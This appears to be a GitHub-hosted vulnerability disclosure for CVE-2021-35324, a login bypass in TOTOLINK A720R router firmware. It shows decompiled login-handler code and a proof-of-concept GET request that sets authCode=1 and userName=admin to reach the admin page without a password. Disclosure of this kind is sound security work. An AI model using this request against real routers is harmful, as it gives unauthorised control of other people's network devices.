

master

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my_cves / router / totoolink / A720R_login_bypass.md

hurricane618 update cve info

History

1 contributor

33 lines (17 sloc) | 943 Bytes

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TOTOLINK Vulnerability

Vendor:TOTOLINK

Product:A720R

Version:A720R_Firmware(V4.1.5cu.470_B20200911)

Type:Login bypass

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Vulnerability description

We found a Login bypass vulnerability in TOTOLINK Technology router with firmware which was released recently, allows remote attackers to login admin page without password.

In Form_Login function, getNthValueSafe loops to get url parameters. If there is authCode in the url parameter and its value is 1, then the following check will pass directly.

```
36  strncpy(url_info, **(_DWORD **)(a1 + 328), 1023);
37  while ( 1 )
38  {
39      v3 = n++;
40      if ( getNthValueSafe(v3, url_info, '&', v17, 512) == -1 )
41          break;
42      if ( getNthValueSafe(0, v17, '=', v18, 128) != -1 && getNthValueSafe(1, v17, '=', v19, 128) != -1 )
43      {
44          if ( strstr(v18, "authCode") )
45              login_flag = atoi(v19);
46          if ( strstr(v18, "userName") )
47              strcpy(v10, v19);
48          if ( strstr(v18, "password") )
49              strcpy(v11, v19);
50          if ( strstr(v18, "goURL") )
51              strcpy(v15, v19);
52          if ( strstr(v18, "flag") )
53              strcpy(v21, v19);
54      }
55  }
56  }
57  if ( !v15[0] )
58  {
59      if ( strstr(v21, "ie8") )
60      {
61          strcpy(v15, "wan_ie.html");
62      }
63      else if ( atoi(v21) == 1 )
64      {
65          strcpy(v15, "phone/home.html");
66      }
67      else
68      {
69          strcpy(v15, "home.html");
70      }
71  }
72  if ( login_flag )
73  {
74      fbss = 0;
75      do
76      {
77          v8 = time(0);
78          if ( !ws_get_cookie(a1, "SESSION_ID", v14) && form_get_idx_by_sessionid(&fl_sess, v8, v14) != -1 )
```

POC

We set authCode=1 and userName=admin, then sending GET request such as:

<http://192.168.0.1/formLoginAuth.htm?authCode=1&userName=admin&goURL=home.html&action=login>

Finally, we enter the admin page as an admin user.

CVE info

CVE-2021-35324